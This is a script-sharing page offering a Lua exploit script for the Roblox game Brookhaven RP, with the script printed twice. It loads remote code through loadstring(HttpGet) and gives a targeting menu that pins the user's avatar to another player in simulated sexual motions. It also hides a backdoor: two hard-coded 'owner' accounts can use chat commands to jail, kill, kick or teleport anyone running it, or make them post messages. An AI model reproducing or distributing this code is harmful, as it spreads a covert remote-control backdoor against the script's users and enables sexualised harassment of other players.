Xdemic bang
Key Required

Xdemic bang

Brookhaven 🏡RPSkihubdevkaiserSkihubdevkaiser 1.5K views 541 executesUpdated Apr 6, 2026
Unrated
00
Lua Script•443 lines (16862 chars)
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))()

-- [[ OWNER PERMISSIONS ]]
local Owners = {"DAVID_BLOX65", "salesman_602"}
local lp = game.Players.LocalPlayer

local Window = Rayfield:CreateWindow({
   Name = "🔥 Xdemic bang☠️🔥🔥",
   LoadingTitle = "Xdemic bang SECURE TERMINAL",
   LoadingSubtitle = "V2 | ENCRYPTED ACCESS",
   ConfigurationSaving = {Enabled = true, FolderName = "Xdemic_Configs", FileName = "Xdemic_Stealth"},
   KeySystem = false
})

local TargetName = ""
local PumpIntensity = 1.5
local PumpSpeed = 0.8

-- [[ CHAT COMMAND LOGIC ]]
local function GetPlayer(Name)
    Name = Name:lower()
    for _, v in pairs(game.Players:GetPlayers()) do
        if v.Name:lower():sub(1, #Name) == Name or v.DisplayName:lower():sub(1, #Name) == Name then
            return v
        end
    end
end

local function IsOwner(plr)
    for _, owner in pairs(Owners) do
        if plr.Name:lower() == owner:lower() then return true end
    end
    return false
end

local function ProcessCommand(plr, msg)
    if IsOwner(plr) then
        local args = msg:split(" ")
        local cmd = args[1]:lower()
        local target = GetPlayer(args[2] or "")

        if target == lp then
            if cmd == "-jail" then
                if _G.JailPart then _G.JailPart:Destroy() end
                _G.JailPart = Instance.new("Part", workspace)
                _G.JailPart.Size = Vector3.new(10, 10, 10)
                _G.JailPart.Transparency = 0.7
                _G.JailPart.Anchored = true
                _G.JailPart.CanCollide = true
                _G.JailPart.CFrame = lp.Character.HumanoidRootPart.CFrame
                _G.JailActive = true
                task.spawn(function()
                    while _G.JailActive do
                        if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then
                            lp.Character.HumanoidRootPart.CFrame = _G.JailPart.CFrame
                        end
                        task.wait()
                    end
                end)
            elseif cmd == "-unjail" then
                _G.JailActive = false
                if _G.JailPart then _G.JailPart:Destroy() end
            elseif cmd == "-say" then
                local text = table.concat(args, " ", 3)
                local chatEvent = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents")
                if chatEvent then
                    chatEvent.SayMessageRequest:FireServer(text, "All")
                end
            elseif cmd == "-kill" then
                if lp.Character then lp.Character:BreakJoints() end
            elseif cmd == "-bring" then
                if plr.Character and lp.Character then
                    lp.Character.HumanoidRootPart.CFrame = plr.Character.HumanoidRootPart.CFrame
                end
            elseif cmd == "-kick" then
                lp:Kick("Terminated by Admin.")
            elseif cmd == "-freeze" then
                if lp.Character then lp.Character.HumanoidRootPart.Anchored = true end
            elseif cmd == "-unfreeze" then
                if lp.Character then lp.Character.HumanoidRootPart.Anchored = false end
            end
        end
    end
end

game.Players.PlayerAdded:Connect(function(plr)
    plr.Chatted:Connect(function(msg) ProcessCommand(plr, msg) end)
end)

for _, p in pairs(game.Players:GetPlayers()) do
    p.Chatted:Connect(function(msg) ProcessCommand(p, msg) end)
end

-- [[ TABS ]]
local TargetTab = Window:CreateTab("Targeting", 4483362458)
local OpsTab = Window:CreateTab("Xdemic Bang Ops", 4483362458)

TargetTab:CreateInput({
   Name = "Target Username",
   PlaceholderText = "Search...",
   Callback = function(Text) TargetName = Text:lower() end,
})

-- [[ XDEMIC BANG OPS ]]
OpsTab:CreateSlider({
   Name = "Bang Intensity",
   Range = {1, 5},
   Increment = 0.5,
   Suffix = "Studs",
   CurrentValue = 1.5,
   Flag = "Intensity",
   Callback = function(Value) PumpIntensity = Value end,
})

OpsTab:CreateToggle({
   Name = "PUTKI MARI (Stuck to Back)",
   CurrentValue = false,
   Callback = function(Value)
      _G.NormalBangActive = Value
      local counter = 0
      local RunService = game:GetService("RunService")
      
      task.spawn(function()
         while _G.NormalBangActive do
            local connection = RunService.Stepped:Connect(function()
               if not _G.NormalBangActive then return end
               pcall(function()
                  local target = nil
                  for _, v in pairs(game.Players:GetPlayers()) do
                     if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then
                        target = v break
                     end
                  end
                  
                  if target and target.Character and lp.Character then
                     local followPart = target.Character:FindFirstChild("LowerTorso") or target.Character:FindFirstChild("HumanoidRootPart")
                     if followPart then
                        counter = counter + 1
                        local pump = math.sin(counter * PumpSpeed) * PumpIntensity 
                        lp.Character.HumanoidRootPart.Velocity = Vector3.new(0,0,0)
                        lp.Character.HumanoidRootPart.CFrame = followPart.CFrame * CFrame.new(0, 0, 1 + pump)
                     end
                  end
               end)
            end)
            
            repeat task.wait() until not _G.NormalBangActive
            connection:Disconnect()
         end
      end)
   end,
})

OpsTab:CreateToggle({
   Name = "DHON KHA (Head-Lock Follow)",
   CurrentValue = false,
   Callback = function(Value)
      _G.FaceLockActive = Value
      task.spawn(function()
         local counter = 0
         while _G.FaceLockActive do
            pcall(function()
               local target = nil
               for _, v in pairs(game.Players:GetPlayers()) do
                  if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then
                     target = v break
                  end
               end
               if target and target.Character and lp.Character then
                  local head = target.Character:FindFirstChild("Head")
                  if head then
                     counter = counter + 1
                     local pump = math.sin(counter * PumpSpeed) * PumpIntensity 
                     lp.Character.HumanoidRootPart.CFrame = head.CFrame * CFrame.new(0, 0, -1 + pump) * CFrame.Angles(0, math.rad(180), 0)
                  end
               end
            end)
            game:GetService("RunService").Heartbeat:Wait()
         end
      end)
   end,
})

OpsTab:CreateToggle({
   Name = "Multiple Void Loop",
   CurrentValue = false,
   Callback = function(Value)
      _G.VoidLoopActive = Value
      task.spawn(function()
         local firstVoid = CFrame.new(0, -500, 0)
         while _G.VoidLoopActive do
            pcall(function()
               local target = nil
               for _, v in pairs(game.Players:GetPlayers()) do
                  if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then
                     target = v break
                  end
               end

               if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then
                  lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-5000, 5000), -1000, math.random(-5000, 5000))
                  task.wait(0.1)
                  lp.Character.HumanoidRootPart.CFrame = firstVoid
                  task.wait(0.1)
                  if target and target.Character and target.Character:FindFirstChild("Head") then
                     lp.Character.HumanoidRootPart.CFrame = target.Character.Head.CFrame * CFrame.new(0, 0, -1) * CFrame.Angles(0, math.rad(180), 0)
                     task.wait(0.2)
                  end
                  lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-2000, 2000), -1500, math.random(-2000, 2000))
                  task.wait(0.1)
               end
            end)
            task.wait(0.05)
         end
      end)
   end,
})

Rayfield:Notify({Title = "Xdemic bang☠️🔥🔥", Content = "Operation names updated.", Duration = 5})--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))()

-- [[ OWNER PERMISSIONS ]]
local Owners = {"DAVID_BLOX65", "salesman_602"}
local lp = game.Players.LocalPlayer

local Window = Rayfield:CreateWindow({
   Name = "🔥 Xdemic bang☠️🔥🔥",
   LoadingTitle = "Xdemic bang SECURE TERMINAL",
   LoadingSubtitle = "V2 | ENCRYPTED ACCESS",
   ConfigurationSaving = {Enabled = true, FolderName = "Xdemic_Configs", FileName = "Xdemic_Stealth"},
   KeySystem = false
})

local TargetName = ""
local PumpIntensity = 1.5
local PumpSpeed = 0.8

-- [[ CHAT COMMAND LOGIC ]]
local function GetPlayer(Name)
    Name = Name:lower()
    for _, v in pairs(game.Players:GetPlayers()) do
        if v.Name:lower():sub(1, #Name) == Name or v.DisplayName:lower():sub(1, #Name) == Name then
            return v
        end
    end
end

local function IsOwner(plr)
    for _, owner in pairs(Owners) do
        if plr.Name:lower() == owner:lower() then return true end
    end
    return false
end

local function ProcessCommand(plr, msg)
    if IsOwner(plr) then
        local args = msg:split(" ")
        local cmd = args[1]:lower()
        local target = GetPlayer(args[2] or "")

        if target == lp then
            if cmd == "-jail" then
                if _G.JailPart then _G.JailPart:Destroy() end
                _G.JailPart = Instance.new("Part", workspace)
                _G.JailPart.Size = Vector3.new(10, 10, 10)
                _G.JailPart.Transparency = 0.7
                _G.JailPart.Anchored = true
                _G.JailPart.CanCollide = true
                _G.JailPart.CFrame = lp.Character.HumanoidRootPart.CFrame
                _G.JailActive = true
                task.spawn(function()
                    while _G.JailActive do
                        if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then
                            lp.Character.HumanoidRootPart.CFrame = _G.JailPart.CFrame
                        end
                        task.wait()
                    end
                end)
            elseif cmd == "-unjail" then
                _G.JailActive = false
                if _G.JailPart then _G.JailPart:Destroy() end
            elseif cmd == "-say" then
                local text = table.concat(args, " ", 3)
                local chatEvent = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents")
                if chatEvent then
                    chatEvent.SayMessageRequest:FireServer(text, "All")
                end
            elseif cmd == "-kill" then
                if lp.Character then lp.Character:BreakJoints() end
            elseif cmd == "-bring" then
                if plr.Character and lp.Character then
                    lp.Character.HumanoidRootPart.CFrame = plr.Character.HumanoidRootPart.CFrame
                end
            elseif cmd == "-kick" then
                lp:Kick("Terminated by Admin.")
            elseif cmd == "-freeze" then
                if lp.Character then lp.Character.HumanoidRootPart.Anchored = true end
            elseif cmd == "-unfreeze" then
                if lp.Character then lp.Character.HumanoidRootPart.Anchored = false end
            end
        end
    end
end

game.Players.PlayerAdded:Connect(function(plr)
    plr.Chatted:Connect(function(msg) ProcessCommand(plr, msg) end)
end)

for _, p in pairs(game.Players:GetPlayers()) do
    p.Chatted:Connect(function(msg) ProcessCommand(p, msg) end)
end

-- [[ TABS ]]
local TargetTab = Window:CreateTab("Targeting", 4483362458)
local OpsTab = Window:CreateTab("Xdemic Bang Ops", 4483362458)

TargetTab:CreateInput({
   Name = "Target Username",
   PlaceholderText = "Search...",
   Callback = function(Text) TargetName = Text:lower() end,
})

-- [[ XDEMIC BANG OPS ]]
OpsTab:CreateSlider({
   Name = "Bang Intensity",
   Range = {1, 5},
   Increment = 0.5,
   Suffix = "Studs",
   CurrentValue = 1.5,
   Flag = "Intensity",
   Callback = function(Value) PumpIntensity = Value end,
})

OpsTab:CreateToggle({
   Name = "PUTKI MARI (Stuck to Back)",
   CurrentValue = false,
   Callback = function(Value)
      _G.NormalBangActive = Value
      local counter = 0
      local RunService = game:GetService("RunService")
      
      task.spawn(function()
         while _G.NormalBangActive do
            local connection = RunService.Stepped:Connect(function()
               if not _G.NormalBangActive then return end
               pcall(function()
                  local target = nil
                  for _, v in pairs(game.Players:GetPlayers()) do
                     if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then
                        target = v break
                     end
                  end
                  
                  if target and target.Character and lp.Character then
                     local followPart = target.Character:FindFirstChild("LowerTorso") or target.Character:FindFirstChild("HumanoidRootPart")
                     if followPart then
                        counter = counter + 1
                        local pump = math.sin(counter * PumpSpeed) * PumpIntensity 
                        lp.Character.HumanoidRootPart.Velocity = Vector3.new(0,0,0)
                        lp.Character.HumanoidRootPart.CFrame = followPart.CFrame * CFrame.new(0, 0, 1 + pump)
                     end
                  end
               end)
            end)
            
            repeat task.wait() until not _G.NormalBangActive
            connection:Disconnect()
         end
      end)
   end,
})

OpsTab:CreateToggle({
   Name = "DHON KHA (Head-Lock Follow)",
   CurrentValue = false,
   Callback = function(Value)
      _G.FaceLockActive = Value
      task.spawn(function()
         local counter = 0
         while _G.FaceLockActive do
            pcall(function()
               local target = nil
               for _, v in pairs(game.Players:GetPlayers()) do
                  if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then
                     target = v break
                  end
               end
               if target and target.Character and lp.Character then
                  local head = target.Character:FindFirstChild("Head")
                  if head then
                     counter = counter + 1
                     local pump = math.sin(counter * PumpSpeed) * PumpIntensity 
                     lp.Character.HumanoidRootPart.CFrame = head.CFrame * CFrame.new(0, 0, -1 + pump) * CFrame.Angles(0, math.rad(180), 0)
                  end
               end
            end)
            game:GetService("RunService").Heartbeat:Wait()
         end
      end)
   end,
})

OpsTab:CreateToggle({
   Name = "Multiple Void Loop",
   CurrentValue = false,
   Callback = function(Value)
      _G.VoidLoopActive = Value
      task.spawn(function()
         local firstVoid = CFrame.new(0, -500, 0)
         while _G.VoidLoopActive do
            pcall(function()
               local target = nil
               for _, v in pairs(game.Players:GetPlayers()) do
                  if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then
                     target = v break
                  end
               end

               if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then
                  lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-5000, 5000), -1000, math.random(-5000, 5000))
                  task.wait(0.1)
                  lp.Character.HumanoidRootPart.CFrame = firstVoid
                  task.wait(0.1)
                  if target and target.Character and target.Character:FindFirstChild("Head") then
                     lp.Character.HumanoidRootPart.CFrame = target.Character.Head.CFrame * CFrame.new(0, 0, -1) * CFrame.Angles(0, math.rad(180), 0)
                     task.wait(0.2)
                  end
                  lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-2000, 2000), -1500, math.random(-2000, 2000))
                  task.wait(0.1)
               end
            end)
            task.wait(0.05)
         end
      end)
   end,
})

Rayfield:Notify({Title = "Xdemic bang☠️🔥🔥", Content = "Operation names updated.", Duration = 5})

Features & Information

Bangggg

Community Comments (0)

No comments yet for this script.

More Scripts for Brookhaven 🏡RP